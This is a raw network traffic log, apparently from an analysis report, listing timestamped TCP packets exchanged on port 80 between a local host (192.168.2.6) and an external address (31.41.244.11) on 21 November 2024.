Nov 21, 2024 14:11:16.704464912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.704473019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.704487085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.704504967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.705246925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.705271959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.705287933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.705296993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.705326080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.706090927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.706161976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.706167936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.706182957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.706218004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.706983089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707051992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707067966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707096100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.707108974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.707928896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707945108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707961082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.707990885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.708024979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.708746910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.708791018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.708817005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.708832026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.708852053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.708868980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.709662914 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.709697008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.709714890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.709742069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.709774971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.710479021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.710522890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.710524082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.710540056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.710565090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.710587978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.711399078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.711427927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.711442947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.711468935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.711468935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.711489916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.712249041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.712296963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.712327957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.712343931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.712383032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.712394953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.713119984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.713146925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.713162899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.713169098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.713186979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.713207960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.713995934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714030027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714045048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714052916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.714065075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.714085102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.714900970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714953899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714967966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.714982033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.714993954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.715018034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.715739012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.715785027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.715791941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.715801954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.715823889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.715837955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.716609955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.716656923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.716665983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.716681004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.716711044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.716737986 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.717549086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.717633009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.718060017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.718144894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.718161106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.718179941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.718461037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.719222069 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719269991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.719281912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719296932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719330072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.719330072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.719913960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719939947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719955921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.719975948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.720000982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.720669985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.720685959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.720700979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.720716953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.720729113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.720747948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.721313000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.721366882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.721376896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.721390963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.721421003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.721436024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.722202063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.722251892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.722259045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.722271919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.722290039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.722313881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.723078966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.723134041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.723149061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.723165035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.723197937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.723999023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.724046946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.724057913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.724072933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.724106073 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.724118948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.725267887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.725316048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.725328922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.725332975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.725354910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.725368977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.726252079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.726277113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.726293087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.726294041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.726315022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.726339102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.726928949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.726989985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.727003098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.727005959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.727030993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.727042913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.727961063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.728015900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.728029966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.728045940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.728105068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.728105068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.898960114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.898984909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.898996115 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.899039984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.899070024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.899326086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.899377108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.899378061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.899390936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.899430990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.900216103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.900275946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.900410891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.900439024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.900450945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.900460958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.900475025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.900497913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.901281118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.901333094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.901339054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.901349068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.901377916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.901396036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.901422977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.902143002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.902192116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.902196884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.902215004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.902246952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.902268887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.903079987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903090954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903101921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903137922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.903166056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.903891087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903932095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.903943062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903954983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.903989077 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.904005051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.904774904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.904814959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.904825926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.904827118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.904854059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.904870033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.905658007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.905698061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.905700922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.905714989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.905735970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.905751944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.906533957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.906568050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.906579971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.906589031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.906605005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.906615973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.907406092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.907455921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.907466888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.907479048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.907505035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.907521963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.908289909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.908333063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.908339977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.908344984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.908369064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.908385038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.909173012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.909218073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.909224987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.909229994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.909257889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.909272909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.910041094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.910087109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.910088062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.910100937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.910131931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.910147905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.910927057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.910975933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.910978079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.910988092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.911027908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.911796093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.911844969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.911856890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.911870003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.911911011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.912669897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.912695885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.912707090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.912714005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.912736893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.912756920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.913619995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.913631916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.913642883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.913674116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.913691044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.914458036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.914475918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.914486885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.914515972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.914541006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.915321112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.915338993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.915348053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.915370941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.915386915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.916264057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.916282892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.916294098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.916322947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.916338921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.917290926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.917337894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.917350054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.917361021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.917397976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.918323040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.918370962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.918375015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.918384075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.918420076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.919243097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.919322968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.919528008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.919569016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.919591904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.919603109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.919636011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.920317888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.920363903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.920375109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.920380116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.920399904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.920411110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.921077967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921128988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.921160936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921173096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921222925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.921222925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.921753883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921802044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.921817064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921828985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.921863079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.922655106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.922708988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.922717094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.922728062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.922765970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.923548937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.923598051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.923646927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.923657894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.923687935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.923713923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.924395084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.924434900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.924448013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.924459934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.924499989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.925275087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.925323009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.925323963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.925337076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.925359964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.925379992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.926157951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.926203966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.926215887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.926217079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.926237106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.926260948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.927011013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.927054882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.927062035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.927073956 CET	80	49876	31.41.244.11	192.168.2.6
